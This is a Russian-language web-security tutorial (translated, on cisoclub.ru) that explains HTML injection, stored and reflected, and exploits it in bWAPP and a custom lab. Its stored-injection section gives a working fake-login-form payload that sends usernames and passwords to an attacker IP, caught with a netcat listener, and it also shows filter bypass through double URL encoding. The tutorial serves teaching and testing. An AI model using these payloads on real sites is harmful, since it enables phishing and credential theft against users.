Руководство по осуществлению HTML-инъекции

Дата: 11.08.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Руководство по осуществлению HTML-инъекции

В этой статье пойдет речь о том, как неправильно сконфигурированные HTML-коды создают лазейки для проникновения злоумышленников, которые способны впоследствии манипулировать веб-страницами и захватывать конфиденциальные данные пользователей.

Что такое HTML?

HTML — это аббревиатура «HyperText Markup Langauge». Он является базовым строительным блоком веба, определяющим формирование веб-страниц для веб-приложений. HTML используется для разработки сайтов, которые состоят из «HyperText», чтобы добавить «текст внутри текста» в качестве гиперссылки и комбинации элементов. Эти элементы включают в себя необходимые для отображения в браузере данные.

Так что же это за компоненты?

Элемент – важная составляющая любой HTML-страницы, то есть он содержит открывающий и закрывающий тег с данными между ними.

Руководство по осуществлению HTML-инъекции

HTML Tag

HTML Tag помечает фрагменты содержимого, такие как «заголовок», «абзац», «форма» и т.д. Он дает имена элементам, окруженным угловыми скобками. Они бывают двух типов: «начальный тег», также известный как открывающий тег, и «конечный тег», еще называемый закрывающим. Браузеры не отображают эти HTML-теги, но используют их для захвата содержимого веб-страницы.

Атрибуты HTML

Для того чтобы предоставить некоторую дополнительную информацию элементам, используются атрибуты. Они находятся внутри начального тега и входят в пару «name/value», так что имя атрибута следует за «equal-to sign», а значение атрибута заключено в кавычки.

<a href = "//cisoclub.ru">CISO CLUB</a>

Здесь «href» – это имя атрибута, а «//cisoclub» – его значение.

Поскольку теперь пользователь знает основы HTML-терминологии, пора проверить «HTML elements flowchart», а затем попытаться реализовать все для того, чтобы создать простую веб-страницу.

Руководство по осуществлению HTML-инъекции

Базовая страница HTML

Каждая веб-страница в Интернете — это какой-то HTML-файл. Эти файлы — не что иное, как простые текстовые документы с расширением .html, которые сохраняются и читаются с помощью браузера.

Пора попробовать создать простую веб-страницу в своем блокноте и сохранить ее как hack.html:

<html>
<head>
<title> Hacking Articles lab</title>
</head>
<body bgcolor="pink">
<br>
<center><h2>WELCOME TO <a href=”http://hackingarticles.in”>HACKING ARTILCES </a></h2>
<br>
<p>Author “Raj Chandel”</p>
</center>
</body>
</html>

Теперь нужно открыть hack.html файл в своем браузере и посмотреть, что было создано.

Руководство по осуществлению HTML-инъекции

Отлично!! Первая веб-страница была успешно создана. Но как это все устроено?

  • <html> является корневым элементом каждой HTML-страницы
  • <head> содержит метаинформацию о документе
  • <title> задает заголовок для веб-страницы
  • <body> содержит видимый контент страницы, что превращает «bgcolor» в розовый цвет
  • <br> определяет линию разрыва или отправляет на следующую строку
  • <h1> задает большой заголовок
  • <p> устанавливает абзац
  • <а> определяет тег привязки, который помогает добавить гиперссылку

Пользователь теперь прекрасно понимает, что такое HTML и в чем его основное предназначение. Итак, стоит попробовать найти основные лазейки и понять, как злоумышленники вводят произвольные HTML-коды в уязвимые веб-страницы, чтобы изменить размещенный на них контент.

Знакомство с HTML-инъекцией

HTML-инъекция, еще называемая «виртуальным повреждением», является одной из самых простых и наиболее распространенных уязвимостей, возникающих, когда веб-страница не очищает предоставленные пользователем входные данные или не проверяет выходные данные, что позволяет злоумышленнику создавать свои полезные нагрузки и вводить вредоносные HTML-коды в приложение через уязвимые поля, так что он может изменять содержимое веб-страницы и даже захватывать некоторую конфиденциальную информацию.

В этой статье рассматривается такой сценарий и объясняется, как выполняются подобные атаки HTML-инъекций.

Настала пора обратиться к веб-приложению, которое уязвимо для HTML-инъекции и не проверяет никаких конкретных входных данных. Таким образом, злоумышленник узнает об этом, он делает свою вредоносную «HTML login Form» приманкой в виде «бесплатных билетов в кино», чтобы обмануть жертву для отправки ее конфиденциальных учетных данных.

Теперь, когда жертвы будут просматривать эту конкретную веб-страницу, там они увидят возможность воспользоваться этими «бесплатными билетами». Когда кто-то нажмет на ссылку, ему снова покажут экран входа в приложение, который представляет собой не что иное, как созданную злоумышленником «HTML-форму». Поэтому, как только человек введет свои учетные данные, злоумышленник получит их посредством своей машины, что и приведет к компрометации его данных.

Руководство по осуществлению HTML-инъекции

Влияние HTML-инъекции

Когда поля ввода не были должным образом проработаны на веб-странице, эта уязвимость HTML-инъекции может привести к атакам межсайтового скриптинга (XSS) или подделки запросов на стороне сервера (SSRF). Поэтому данная проблема была зарегистрирована с уровнем серьезности «средний» и оценкой «5.3»:

  • CWE-80: неправильная нейтрализация связанных со сценарием HTML-тегов на веб-странице
  • CWE-79: неправильная нейтрализация входных данных во время создания веб-страницы

HTML-инъекция vs XSS

Во время таких атак есть вероятность, что пользователь не сможет выполнить HTML-инъекцию, и он попадет в XSS-атаку, потому что HTML-инъекция похожа на межсайтовый скриптинг. Однако если углубиться в имеющуюся информацию, то можно заметить, что во время атаки XSS злоумышленник способен вводить и выполнять коды Javascript, тогда как в HTML-инъекции он обязан использовать определенные HTML-теги для того, чтобы «испортить» веб-страницу.

Далее следует узнать больше об атаках HTML-инъекций и проверить необычные способы, с помощью которых пользователь может захватить веб-страницы и получить учетные данные жертвы.

Stored HTML

Stored HTML еще называется персистентным HTML, потому что посредством этой уязвимости внедренный вредоносный скрипт постоянно хранится внутри сервера веб-приложений, а сервер приложений далее сбрасывает его обратно пользователю, когда он посещает внедренную веб-страницу. Когда клиент нажимает на полезную нагрузку, которая появляется в виде официальной части веб-сайта, введенный HTML-код будет выполнен браузером.

Наиболее распространенным примером Stored HTML является «опция комментариев» в блогах, которая позволяет любому пользователю оставлять свои отзывы как в виде посланий для администратора, так и для других пользователей.

Теперь нужно попробовать использовать эту уязвимость HTML и захватить учетные данные.

Использование Stored HTML

Пользователь открыл целевой IP в своем браузере и вошел в систему внутри BWAPP как bee: bug, далее установил опцию «Choose Your Bug» на «HTML Injection – Stored (Blog)» и нажал на кнопку Hack.

Теперь человек будет перенаправлен на веб-страницу, которая уязвима для HTML-инъекции, что позволяет пользователю отправить свою запись в блог, как показано на скриншоте.

Первоначально была создана обычная запись пользователя через «bee» под названием «Хакерские статьи», чтобы подтвердить, что входные данные успешно сохранены в базе данных веб-сервера. Таким образом, все видно в поле ввода.

Руководство по осуществлению HTML-инъекции

Настала пора попробовать внедрить свою вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на этой целевой веб-странице, и, таким образом, она переадресует захваченный запрос на другой IP-адрес.

Нужно ввести следующий HTML-код в заданную текстовую область, чтобы настроить HTML-атаку.

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid 
credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>
Руководство по осуществлению HTML-инъекции

На приведенном ниже изображении можно увидеть, что, когда пользователь нажал на кнопку “Отправить”, на веб-странице появилась новая форма входа в систему. Таким образом, эта форма входа теперь находится на веб-сервере приложения, что визуализируется каждый раз, когда жертва посещает эту вредоносную страницу входа. Всегда будет эта форма, и выглядит она для людей официальной страницей.

Руководство по осуществлению HTML-инъекции

Теперь необходимо включить листенер netcat на порту 4444, чтобы перехватить запрос жертвы.

nc –lvp 4444

Пришло время подождать, пока жертва загрузит эту страницу в своем браузере и введет учетные данные.

Руководство по осуществлению HTML-инъекции

Отлично!! На приведенном выше изображении пользователь может заметить, что “Raj” открыл веб-страницу и попытался войти как raj:123.

Итак, стоит вернуться к листенеру и проверить, записаны ли учетные данные в ответе или нет.

На приведенном ниже изображении видно, что пользователь успешно захватил чужие учетные данные.

Руководство по осуществлению HTML-инъекции

Reflected HTML

Reflected HTML еще известный как непостоянный HTML. Эта проблема возникает, когда веб-приложение немедленно реагирует на ввод пользователя без проверки того, что ввел пользователь, что может привести к тому, что злоумышленник воспользуется исполняемым кодом браузера внутри одного HTML-ответа. Он называется «Reflected», поскольку вредоносный скрипт не хранится внутри веб-сервера, поэтому злоумышленник должен отправить вредоносную ссылку посредством фишинга, чтобы поймать пользователя в «ловушку».

Уязвимость Reflected HTML может быть легко найдена в поисковых системах веб-сайта: здесь злоумышленник записывает некоторый произвольный HTML-код в текстовое поле поиска, и, если веб-сайт уязвим, результирующая страница вернется как ответ на эти HTML-сущности.

Reflected HTML бывает трех типов:

  • Reflected HTML GET
  • Reflected HTML POST
  • Reflected HTML Current URL

Прежде чем начать использовать Reflected HTML лаборатории, пора вспомнить, что с помощью метода GET пользователь запрашивает данные из определенного источника, в то время как метод POST используется для отправки данных на сервер для создания/обновления ресурса.

Reflected HTML GET

Пользователь создал веб-страницу, которая позволяет человеку отправлять фидбек со своими данными.

Таким образом, когда пользователь “Raj Chandel” отправляет свой отзыв, появляется ответное сообщение: «Спасибо, Raj Chandel, за уделенное время».

Руководство по осуществлению HTML-инъекции

Этот мгновенный ответ и пара “ name/value” в URL-адресе показывают, что данная страница может быть уязвима для HTML-инъекции, и информация была запрошена с помощью метода GET.

Итак, пора попробовать ввести некоторые HTML-коды в эту форму, чтобы изменить ее. Нужно использовать следующий скрипт в поле “имя”:

<h1>Raj Chandel</h1>

И установить фидбек с сообщением: «Хорошо».

На приведенном ниже изображении пользователь может увидеть, что имя пользователя “Raj Chandel” было изменено в качестве заголовка, как и в ответном сообщении.

Руководство по осуществлению HTML-инъекции

Интересно, почему все это произошло, стоит проверить следующий фрагмент кода.

Руководство по осуществлению HTML-инъекции

С легкостью показываются сообщения на экране, разработчик не устанавливал никакой проверки ввода, то есть он просто установил вывод «благодарственного сообщения», включая имя ввода через переменную “$_GET”.

Бывают случаи, когда разработчик устанавливает некоторые проверки в полях ввода, которые, таким образом, отражают HTML-код обратно на экран, не получая рендеринга.

На приведенном ниже изображении можно увидеть, что, когда пользователь попытался выполнить HTML-код в поле name, он отбрасывал его обратно в виде обычного текста:

Руководство по осуществлению HTML-инъекции

Так что же, уязвимости здесь нет?

Следует проверить все это, захватив исходящий запрос с помощью “burpsuite” и далее отправить захваченный запрос непосредственно на вкладку «Repeater».

Руководство по осуществлению HTML-инъекции

На вкладке «Repeater», когда пользователь нажал на кнопку «Перейти», чтобы проверить сгенерированный ответ, он обнаружил, что его HTML-сущности были HTML-декодированы здесь как:

Руководство по осуществлению HTML-инъекции

Таким образом, пользователь применил полный HTML-код “<a href = http://hackingarticles.in”><h2>Raj</h2></a>” и вставил все это на вкладку декодера. Далее с правой стороны поддона, он нажал на «Encode as» и остановил свой выбор на URL-адресе.

Когда пользователь получит закодированный вывод, он снова отправит его в «Encode as» для нужного URL-адреса, чтобы обладать им в формате двойного URL-адреса.

Руководство по осуществлению HTML-инъекции

Теперь следует попробовать это сделать: скопировать полный двойной кодированный URL-адрес и вставить его в поле “name=” на вкладке Repeater в графе запроса.

Пользователь нажмет на кнопку Go, чтобы проверить его сгенерированный ответ.

Отлично!! На приведенном ниже изображении можно увидеть, что человек успешно манипулировал ответом.

Руководство по осуществлению HTML-инъекции

Теперь необходимо сделать аналогичные поправки во вкладке прокси и нажать на кнопку «Вперед». На приведенном ниже изображении можно увидеть, что пользователь «испортил» эту веб-страницу через ее проверенные поля.

Руководство по осуществлению HTML-инъекции

Стоит просмотреть фрагмент кода, чтобы увидеть, где разработчик сделал проверку входных данных.

На приведенном ниже изображении можно увидеть, что здесь разработчик сделал функцию “hack” для переменных данных и даже декодировал “<” и “>” в “&lt;” и “&gt;” для $data и $input соответственно, далее он использовал встроенную PHP-функцию urldecode over for $input для декодирования URL-адреса.

Руководство по осуществлению HTML-инъекции

На приведенном ниже изображении можно увидеть, что разработчик реализовал функцию hack over в поле name.

Руководство по осуществлению HTML-инъекции

Reflected HTML POST

Как и в случае с «GET webpage», поля “Name” и «Feedback» здесь также уязвимы, так как реализован метод POST, поэтому данные формы не будут отображаться в URL-адресе.

Следует попробовать снова «испортить» эту веб-страницу, но на этот раз пользователь добавит изображение, а не статический текст.

<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На приведенном ниже изображении можно увидеть, что логотип «Ignite technologies» был помещен на экран. Таким образом, злоумышленник здесь может даже вводить другие форматы мультимедиа, такие как видео, аудио или GIF.

blank

Reflected HTML и Current URL

Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице?

Да, конечно. Нет необходимости иметь входные данные, такие как поле комментариев или поле поиска, некоторые приложения отображают URL-адрес пользователя на своих веб-страницах. Они могут быть уязвимы для инъекций HTML, так как в таких случаях URL-адрес действует как поле ввода для него.

blank

На приведенном выше изображении можно увидеть, что текущий URL-адрес отображается на веб-странице как «http: //192.168.0.16/hack/html_URL.РНР». Так что следует воспользоваться этим преимуществом и посмотреть, что пользователь сможет захватить.

Нужно настроиться «burpsuite» и захватить текущий HTTP-запрос.

blank

Теперь пользователь манипулирует этим запросом с помощью:

/hack/html_URL.php/<h1>Hey_are_you_there?</h1>

Он нажимает на кнопку «Вперед», чтобы проверить результат в браузере.

blank

Отлично!! На приведенном ниже изображении можно увидеть, что пользователь успешно «испортил» веб-сайт, просто введя желаемый HTML-код в URL-адрес веб-приложения.

blank

Следует посмотреть на код и понять, как разработчику удалось получить текущий URL-адрес на экране.

Здесь разработчик использовал переменную PHP как $_SERVER для того, чтобы захватить текущий URL-адрес страницы. Кроме того, он изменил имя хоста с помощью “HTTP_HOST” и запрошенное местоположение ресурса на URL-адрес с помощью “REQUEST_URI” и поместил все это в переменную $url.

blank

Перейдя в раздел HTML, он просто установил echo с переменной $url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.

blank

Митигирование

  • Разработчику стоит настроить свой HTML-скрипт, который фильтрует метасимволы от входных данных пользователя
  • Разработчику нужно реализовать функции для проверки пользовательских входных данных таким образом, чтобы они не содержали никаких конкретных тегов, которые могут привести к виртуальным повреждениям

Автор переведенной статьи: Chiragh Arora.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *